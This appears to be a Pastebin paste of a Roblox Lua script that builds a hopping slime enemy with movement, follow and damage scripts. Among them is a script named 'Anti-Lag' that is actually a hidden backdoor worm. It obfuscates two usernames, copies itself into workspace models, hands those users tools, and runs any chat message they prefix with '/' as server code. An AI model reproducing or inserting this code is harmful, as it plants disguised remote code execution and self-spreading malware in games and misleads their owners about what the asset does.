Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --made by intensivelake39/bad#5159
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Part1 = Instance.new("Part")
- Script2 = Instance.new("Script")
- BlockMesh3 = Instance.new("BlockMesh")
- BodyGyro4 = Instance.new("BodyGyro")
- Script5 = Instance.new("Script")
- Decal6 = Instance.new("Decal")
- Fire7 = Instance.new("Fire")
- Decal8 = Instance.new("Decal")
- Decal9 = Instance.new("Decal")
- Decal10 = Instance.new("Decal")
- Decal11 = Instance.new("Decal")
- Script12 = Instance.new("Script")
- Script13 = Instance.new("Script")
- Script14 = Instance.new("Script")
- Script15 = Instance.new("Script")
- Model0.Parent = mas
- Part1.Name = "Slime_Small"
- Part1.Parent = Model0
- Part1.BrickColor = BrickColor.new("Bright green")
- Part1.Rotation = Vector3.new(0, 90, 0)
- Part1.FormFactor = Enum.FormFactor.Custom
- Part1.Size = Vector3.new(1.20000005, 1.20000005, 1.20000005)
- Part1.CFrame = CFrame.new(-5.5999999, 0.600000024, -23.3999996, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- Part1.BottomSurface = Enum.SurfaceType.Smooth
- Part1.TopSurface = Enum.SurfaceType.Smooth
- Part1.Color = Color3.new(0.294118, 0.592157, 0.294118)
- Part1.Position = Vector3.new(-5.5999999, 0.600000024, -23.3999996)
- Part1.Orientation = Vector3.new(0, 90, 0)
- Part1.Color = Color3.new(0.294118, 0.592157, 0.294118)
- Script2.Parent = Part1
- table.insert(cors,sandbox(Script2,function()
- if script.Parent.Parent == game.Lighting then
- script.Disabled = true
- end
- if script.Parent.Parent ~= game.Lighting then
- script.Disabled = false
- script.Parent.Anchored = false
- mesh = script.Parent.Mesh
- slime = script.Parent
- force = slime.Size.y * 20
- function setsize(v1,v2)
- mesh.Scale = Vector3.new(1,v1,1)
- mesh.Offset = Vector3.new(0,(v2*-1),0)
- end
- function size(val)
- if val < 0.5 then error("Slime size cannot go below 0.5"); return end
- if val == 1 then
- setsize(1,0)
- end
- if val == 0.9 then
- setsize(val, 0.05)
- end
- if val == 0.8 then
- setsize(val, 0.1)
- end
- if val == 0.7 then
- setsize(val, 0.17)
- end
- if val == 0.6 then
- setsize(val, 0.23)
- end
- if val == 0.5 then
- setsize(val, 0.3)
- end
- wait()
- end
- size(1)
- deb = 0
- function findNearestTorso(pos)
- local list = game.Workspace:children()
- local torso = nil
- local dist = 10
- local temp = nil
- local human = nil
- local temp2 = nil
- for x = 1, #list do
- temp2 = list[x]
- if (temp2.className == "Model") and (temp2 ~= script.Parent) then
- temp = temp2:findFirstChild("Torso")
- human = temp2:findFirstChild("Humanoid")
- if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
- if (temp.Position - pos).magnitude < dist then
- torso = temp
- dist = (temp.Position - pos).magnitude
- end
- end
- end
- end
- return torso
- end
- function move(target)
- local dir = (target.Position - slime.Position).unit
- local spawnPos = slime.Position
- local pos = spawnPos + (dir * 1)
- slime:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
- end
- function findNearestTorso(pos)
- local list = game.Workspace:children()
- local torso = nil
- local dist = 100
- local temp = nil
- local human = nil
- local temp2 = nil
- for x = 1, #list do
- temp2 = list[x]
- if (temp2.className == "Model") and (temp2 ~= script.Parent) then
- temp = temp2:findFirstChild("Torso")
- human = temp2:findFirstChild("Humanoid")
- if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
- if (temp.Position - pos).magnitude < dist then
- torso = temp
- dist = (temp.Position - pos).magnitude
- end
- end
- end
- end
- return torso
- end
- function move(target)
- local dir = (target.Position - slime.Position).unit
- local spawnPos = slime.Position
- local pos = spawnPos + (dir * 1)
- slime:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
- end
- function onTouched(hit)
- name = hit.Name
- s = slime:getChildren()
- for i = 1, #s do
- if s[i].className == "BodyVelocity" then
- s[i]:Remove()
- end
- end
- oty = hit.Position.y
- y = script.Parent.Position.y
- if oty > y then
- print("Bad surface")
- end
- if y > oty then
- if (hit.Size.x + hit.Size.y + hit.Size.z > 6) and (string.sub(name, 1, 5) ~= "Slime") and (hit.CanCollide == true) then
- slime.Anchored = true
- size(0.9)
- size(0.8)
- size(0.7)
- size(0.6)
- size(0.5)
- --
- wait(0.3)
- --
- tors = findNearestTorso(slime.Position)
- if tors ~= nil then
- if tors.Position.y < slime.Position.y + force/10 then
- move(tors) -- move towards humanoid
- end
- if tors.Position.y > slime.Position.y + force/10 then
- range = 200
- range2 = range * -1
- goto = Vector3.new(slime.Position.x + math.random(range2,range), slime.Position.y, slime.Position.z + math.random(range2,range))
- local dir = (goto - slime.Position).unit
- local spawnPos = slime.Position
- local pos = spawnPos + (dir * 1)
- slime:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
- end
- end
- if tors == nil then -- move randomly
- range = 200
- range2 = range * -1
- goto = Vector3.new(slime.Position.x + math.random(range2,range), slime.Position.y, slime.Position.z + math.random(range2,range))
- local dir = (goto - slime.Position).unit
- local spawnPos = slime.Position
- local pos = spawnPos + (dir * 1)
- slime:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos + dir)
- end
- --
- size(0.6)
- size(0.7)
- size(0.8)
- --
- slime.Anchored = false
- dir = slime.CFrame.lookVector
- b = Instance.new("BodyVelocity")
- b.velocity =(dir * force/4) + Vector3.new(0,50,0)
- b.maxForce = Vector3.new(1e5, 1e5, 1e5)
- b.P = force/2
- b.Parent = slime
- --
- size(0.9)
- size(1)
- wait()
- b:Remove()
- wait(.1)
- end
- if (string.sub(name, 1, 5) == "Slime") and (y > oty) then
- range = 2
- range2 = range * -1
- slime.CFrame = slime.CFrame * CFrame.new(math.random(range2,range), 1, math.random(range2,range))
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end
- end))
- BlockMesh3.Parent = Part1
- BodyGyro4.Parent = Part1
- BodyGyro4.CFrame = CFrame.new(-64.8141937, 1.88319683, -12.657526, -0.0334881917, 0.176167592, 0.983790338, -0, 0.984342456, -0.176266462, -0.99943912, -0.00590284495, -0.0329638459)
- BodyGyro4.maxTorque = Vector3.new(9000, 1000, 9000)
- BodyGyro4.MaxTorque = Vector3.new(9000, 1000, 9000)
- Script5.Name = "Fix"
- Script5.Parent = Part1
- table.insert(cors,sandbox(Script5,function()
- while true do
- wait(10)
- script.Parent.CFrame = script.Parent.CFrame * CFrame.new(0,1,0)
- end
- end))
- Decal6.Parent = Part1
- Decal6.Texture = "http://www.roblox.com/asset/?id=42467405"
- Fire7.Parent = Part1
- Fire7.Size = 30
- Fire7.Color = Color3.new(1, 0.756863, 0)
- Fire7.Enabled = false
- Fire7.Heat = 25
- Fire7.SecondaryColor = Color3.new(1, 0, 0)
- Fire7.Color = Color3.new(1, 0.756863, 0)
- Decal8.Parent = Part1
- Decal8.Texture = "http://www.roblox.com/asset/?id=42467414"
- Decal8.Face = Enum.NormalId.Left
- Decal9.Parent = Part1
- Decal9.Texture = "http://www.roblox.com/asset/?id=42467414"
- Decal9.Face = Enum.NormalId.Top
- Decal10.Parent = Part1
- Decal10.Texture = "http://www.roblox.com/asset/?id=42467414"
- Decal10.Face = Enum.NormalId.Right
- Decal11.Parent = Part1
- Decal11.Texture = "http://www.roblox.com/asset/?id=42467414"
- Decal11.Face = Enum.NormalId.Back
- Script12.Name = "PushPack"
- Script12.Parent = Part1
- table.insert(cors,sandbox(Script12,function()
- door = script.Parent
- function onTouch(hit)
- if hit.Parent == nil then return end
- local h = hit.Parent:FindFirstChild("Humanoid")
- if h ~= nil then
- hit.Parent.Torso.Velocity=door.CFrame.lookVector * 0
- end
- end
- door.Touched:connect(onTouch)
- end))
- Script13.Name = "Follow"
- Script13.Parent = Part1
- table.insert(cors,sandbox(Script13,function()
- local larm = script.Parent:FindFirstChild("Left Arm")
- local rarm = script.Parent:FindFirstChild("Right Arm")
- function findNearestTorso(pos)
- local list = game.Workspace:children()
- local torso = nil
- local dist = 25
- local temp = nil
- local human = nil
- local temp2 = nil
- for x = 1, #list do
- temp2 = list[x]
- if (temp2.className == "Model") and (temp2 ~= script.Parent) then
- temp = temp2:findFirstChild("Torso")
- human = temp2:findFirstChild("Humanoid")
- if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
- if (temp.Position - pos).magnitude < dist then
- torso = temp
- dist = (temp.Position - pos).magnitude
- end
- end
- end
- end
- return torso
- end
- while true do
- wait(0.1)
- local target = findNearestTorso(script.Parent.Torso.Position)
- if target ~= nil then
- script.Parent.Humanoid:MoveTo(target.Position, target)
- end
- end
- end))
- Script14.Name = "Anti-Lag"
- Script14.Parent = Script13
- table.insert(cors,sandbox(Script14,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- Script15.Name = "Damager"
- Script15.Parent = Part1
- table.insert(cors,sandbox(Script15,function()
- Dmg=0
- ShowDamage=function(Char,Dealt,du)
- m=Instance.new("Model")
- m.Name=tostring(Dealt)
- h=Instance.new("Humanoid")
- h.Health=0
- h.MaxHealth=0
- h.Parent=m
- c=Instance.new("Part")
- c.Transparency=0
- c.BrickColor=BrickColor:Red()
- c.Name="Head"
- c.TopSurface=0
- c.BottomSurface=0
- c.formFactor="Plate"
- c.Size=Vector3.new(1,.4,1)
- ms=Instance.new("CylinderMesh")
- ms.Bevel=.1
- ms.Scale=Vector3.new(.8,.8,.8)
- ms.Parent=c
- c.Reflectance=0
- Instance.new("BodyGyro").Parent=c
- c.Parent=m
- c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
- f=Instance.new("BodyPosition")
- f.P=2000
- f.D=100
- f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
- f.position=c.Position+Vector3.new(0,3,0)
- f.Parent=c
- game:GetService("Debris"):AddItem(m,.5+du)
- c.CanCollide=false
- m.Parent=workspace
- c.CanCollide=false
- end
- d=true
- onTouched=function(hit)
- if hit.Parent==nil then
- return
- end
- if not d then return end
- d=false
- h=hit.Parent:FindFirstChild("Humanoid")
- if h~=nil and game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
- h:TakeDamage(Dmg)
- ShowDamage(hit.Parent,Dmg,.5)
- v=Instance.new("BodyVelocity")
- v.Parent=hit.Parent:FindFirstChild("Head")
- v.velocity=script.Parent.Velocity+script.Parent.CFrame.lookVector*40
- v.maxForce=Vector3.new(math.huge,0,math.huge)
- game:GetService("Debris"):AddItem(v,.2)
- s=Instance.new("Sound")
- s.SoundId="rbxasset://sounds/uuhhh.wav"
- s.Pitch=math.random(9,11)*.1
- s.Volume=1
- s.Parent=v.Parent
- s:Play()
- game:GetService("Debris"):AddItem(s,1)
- wait(.25)
- end
- d=true
- end
- script.Parent.Touched:connect(onTouched)
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = game:GetService("Players").LocalPlayer.Character
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Add Comment
Please, Sign In to add comment